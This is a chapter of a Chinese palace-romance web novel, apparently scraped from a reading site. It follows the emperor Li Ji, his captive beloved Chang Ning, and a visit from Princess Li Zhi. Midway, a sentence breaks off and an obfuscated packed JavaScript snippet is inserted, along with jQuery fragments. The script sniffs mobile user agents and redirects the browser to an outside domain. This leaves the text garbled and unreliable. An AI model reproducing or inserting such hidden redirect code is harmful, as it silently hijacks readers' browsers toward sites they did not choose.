嘉明四年乙丑，大魏文武群臣永生难忘的一天。


    禁欲多年的陛下，宵衣旰食的明君，忽然在早朝宣布，择日将广采天下秀男，朝野震撼。


    好端端的陛下，英明神武，年轻俊美，一朝断袖天下知，群臣扼腕叹息。相比之下，先前陛下后宫凋敝都成了小问题。


    不久，内侍又无意间传出陛下偏好人妇的惊天秘闻。


    一时朝中人人自危，既要提防陛下瞧上自己，又要防着陛下看上自己的妻妾。


    养心殿，安亲王立在丹樨下，两侧执戟郎中执戟伫立，严密地保卫着从宫道至殿中的安全。


    眉目清秀的小太监屈身行礼，“殿下，陛下传唤。”


    龙章凤姿的安亲王挥手，抬步时，目光落在小太监清秀白皙的脸上。


    小太监微笑，手心里却满是汗。天知道，他和陛下除了主子奴才的关系，那是一丁点私情都没有呐！


    殿后静室，李稷独坐于玉簟上，轻抿了口凉茶。


    环佩叮咚，珠帘轻晃，一阵香风拂过，常宁便在李稷身侧坐下，中间隔着一方小案。


    “陛下，陛下！”


    李稷淡淡嗯了一声。


    常宁一时拿不准他的主意，亦不知他心情如何，捏了颗紫葡萄，探身凑近他薄唇，“吃一个嘛。”


    李稷偏头拒了。安亲王已等在前殿，他整衣起身。


    衣角却被人轻轻拉着。


    常宁眼眸水润，红唇微张，欲语还休。


    前殿不时有臣子来往，常宁是悄悄过来的。她在毓庆宫待了十余日，再大的耐心也消磨没了。李稷既在后殿，想来前殿当是无人。常宁却不好追出去，否则若是被来往的臣子瞧见，可又如何是好？但不追着，又不知再见到李稷是何时。


    眼见李稷拂下她的手就要离开，常宁忙从背后环住李稷腰身，脸埋在他肩膀上，掀眸暗自观察，“陛下。”


    李稷声音很低，“何事？”


    她贴着他，柔软的，温暖的，鼻尖都是细细香气，余光里是波光潋滟的眼眸。颊侧微痒，是常宁的发丝。


    有一瞬，当真是心神荡漾。


    “陛下，”常宁嗓音温软，竖起一根白皙手指，“我在宫里不开心，你让我出去转转嘛，就一天！”


    李稷冷声拒绝，缓慢掰开腰间的手，“朕召人与你作陪。”


    “不要，”常宁摇头，李稷不为所动。


    打帘时，李稷回头一瞥，见常宁已经拿了一串葡萄要从后殿退出去，眉心微皱。大殿孤寂，她在毓庆宫也孤单。如此，他在前殿处理政务，她在后殿安眠酣睡，或是把玩珍品、披衣阅卷，闲暇时二人共话，岂不快活？方要开口留人，忽忆起常宁方才在耳边软绵绵地说不开怀，便就止住了，只是到前殿去。


    “皇叔所为何事？”


    安亲王见过礼，“臣此行，为林探花而来。”


    刘总管微笑着。林探花家中本是牵扯进了二皇子的案子里，陛下怜惜其才情，不顾私怨，点为探花。如今林探花供职御史台，做了小小言官。许是尝到了直言进谏的甜头，有关陛下的大小事宜，林探花都要写奏表讥讽，连陛下绊了一脚都能写出洋洋洒洒数千言骈文。这位林探花最新大作，便是借后宫凋敝暗讽陛下“不行”的奏文。


    前些日子，大雨滂沱，众臣长跪太极殿前，恳求陛下收回成命。林探花抖了衣袖吹了笏板，就要出列进言。


    此事自然不成，陛下只是与宫中女官闲谈，道是秀男要比着林探花来找。


    李稷轻笑一声，“皇叔，你曾是方外之人，又要如何劝朕？”


    安亲王也笑，眉目清隽出尘，肤色苍白，唇却极红，“你我叔侄，臣自然站在陛下这边。只是林探花一届文臣，清流出身，如今遭清流排斥，日日都有人在府门外砸咬了一口的烂桃子和断袖子。他脸皮薄，险些悬梁自尽。依臣看，远远地逐了他去，贬往黔地、滇地，眼不见为净。”


    “臣更关心的，还是陛下的终身大事。陛下风姿俊逸，岂能无人相伴？”


    李稷眉目中不期然染上几分春色，罕见笑道：“皇叔放心便是。婚事朕自有打算，皇叔等着吃酒就好。倒是皇叔，也要早做打算。”


    “是，”安亲王道，“臣亦有了成算，改日来寻陛下赐婚。”


    “自然。”


    从大殿中出来，刘总管一路送行，忽听安亲王回眸问：“里面那姑娘是谁？”


    陛下本就有意透露给安亲王，刘总管并未隐瞒，“并州余有庆。”


    微风拂过，安亲王仰面望天，被日光刺得微眯了凤目，“是么？”


    珠帘后越过的桃花面，模糊而又清晰。那嗓音，比之从前轻柔上些许。眼眸中的光亮，却比之从前更甚。


    不开怀吗？


    毓庆宫占地极大，李稷搬进东宫之前，一直住在毓庆宫中，如今毓庆宫中依旧留有李稷幼时的痕迹。常宁闲极翻书，找出不少李稷的旁批，那笔触还十分稚嫩，语调却老成严肃，让常宁止不住发笑。


    可毓庆宫再大，常宁也还是不能安心。


    也不知十余日过去，侍玉如何，许荇又如何？说是要为许荇讲解书中疑窦，终究是失信了。


    李稚匆忙而至，在迷宫一般的毓庆宫中穿行，胸中不快。


    她这些年同皇兄关系不错，自然知晓毓庆宫搬入了新人，只不知是谁。又经母妃提点，早已影影绰绰知晓了当年旧事，心下为常宁不平。


    可气皇兄分明清楚，还派内侍唤她来陪毓庆宫这位解闷。


    解闷？她们两个不吵起来，都已经算是好的。


    穿过一处游廊，眼前闪过黄琉璃瓦歇山顶折射出的日光，举手遮挡间，忽见太湖石旁水榭内坐了个姑娘，雪颜花貌，侧脸便美如姑射仙子。赤红洒金的百褶裙，金灿灿的雕花簪，秾丽艳极的搭配，穿在她身上丝毫不见俗气，反而光彩照人，既夺目，又让人忍不住想再看一眼。


    她正倚坐在栏杆旁，一手轻摆着柳枝戏水，眼睛盯着碧波荡漾的湖面，逗弄一池色彩斑斓的锦鲤儿，并不回眸，另一手拈下旁边一颗葡萄，便往池中抛去。


    好生熟悉。


    李稚暗暗心惊，复又上前几步，对上回身看来的人，惊呼道：“表……”


    常宁耸眉轻笑，拿葡萄塞在李稚微张的口中，“嘘，别说话。”


    李稚咬下去，酸酸甜甜，眸光晶亮，“我没认错？”


    “是，”常宁颔首，“他让你来的？”


    李稚用力点头，扯着常宁手在湖边落座，含泪道：“原来母妃说的都是真的。”


    她从来都没有表哥。


    可这样一来，常宁所受的委屈，也全是真的？那令人时日无多的毒，寒江上的乱军，皆因皇兄而来。


    察觉李稚黯淡的情绪，常宁道：“往事不堪回首，莫要再想。如今得以再聚，自然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132745|167231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要畅饮一番。我这里有几坛好酒，可要尝尝？经年不见，清河愈发令我刮目相看了。你广募女医的诏令，我在并州都有所耳闻。”


    李稚心绪渐定，“说来还是多亏了表姐你。”


    第一声表姐出来，再说就自然多了。她二人都是活泛的性子，少时鸡飞狗跳不在少数，不多时便笑闹作一团。


    自常宁堕江后，李稷不时召李稚谈话，言辞之间总绕不开常宁。三年下来，李稚已理不清往皇兄宫中去过多少次，她也因此成了兄弟姐妹中与皇兄最亲近的一个，旁观着拼凑出了一件事，知道皇兄与常宁的不同。


    及至后来，李稚广募医女，要女医进太医院，大多阻力都被李稷解决。


    闲话许久，常宁又过问了英国公夫妇近况，笑道：“清河，你近来好生快活，听说府中俊杰无数，个个都俊逸非凡，我可要向你讨几个法子，回来好生琢磨。”


    李稚脸热，“表姐！你若想，用不着我来……”


    “什么法子？朕也甚是稀奇。”


    李稷已在内侍簇拥之下行至水榭后，未令人通传，未曾想一来便听常宁问起此事。


    常宁立马接道：“延年益寿的法子！保真！”


    李稷自然而然抖衣落座于常宁身侧，揽上常宁纤腰，瞧一眼李稚。


    李稚磕磕巴巴：“皇兄，臣妹告退。”


    李稷半搂半抱着常宁，即使觉出人的不情愿，也只是轻笑一声，将人往怀里带，“求人时倒是主动，软磨硬泡不见退却。可要朕与你一同探究延年益寿之道？”


    常宁侧头，捂住耳朵，“情志舒畅，气血通达，当然延年益寿！是真的！”


    他真是有病，说话就说话，挨她耳朵这么近做什么？


    李稷道：“实践出真知。”


    常宁道：“我不听。”


    李稷便缓了声，“你若忧心余记，尽管去信。”


    常宁哼哼，“去过了。”


    先给侍玉去，若侍玉有意兼管余记，常宁已为他安排好了可用人手。若他不愿意，常宁也有另一套准备。


    这么些年一向如此，尽管侍玉无心俗务，但在大当家这里，二当家必须排第一位。


    这就是他们二当家的排场和大当家的英明智慧！


    可惜身旁是李稷，常宁不指望能得到夸赞，兀自笑着不说话。


    李稷忽问：“你们护送西番瓜，护送得如何？还要开商道？”


    护送贵在神速，如此才能新鲜。开商道免不了沿途停靠收整，想是达不到常宁借护送西番瓜避退小波盗匪的期望。


    常宁斜他一眼，毫不意外他知晓这些，“送一个西番瓜是送，送一车还是送。我们寻常备货，为防意外，都要多备上小一成，官差更是谨慎。要送往交趾的瓜，自然有专人送达，以神速为上。后面那些商队，就一车里只有一个瓜咯。”


    李稷屈指轻敲常宁额头，笑道：“假公济私。”


    常宁幽幽道：“千里迢迢运送西番瓜，耗费民力。”


    姜夫人就从不许常宁沾染这习性。


    只是，常宁望望黄琉璃瓦檐角。她确实不吃，可她要送给别人吃，半夜睡醒常宁都觉得自己命苦。


    李稷道：“你在宫中无趣，明日带你归家看看。”


    常宁还没做好再见爹娘的准备，没精打采地应了一声，“过夜吗？”


    刘总管回道：“不过夜，用过午膳便回宫。”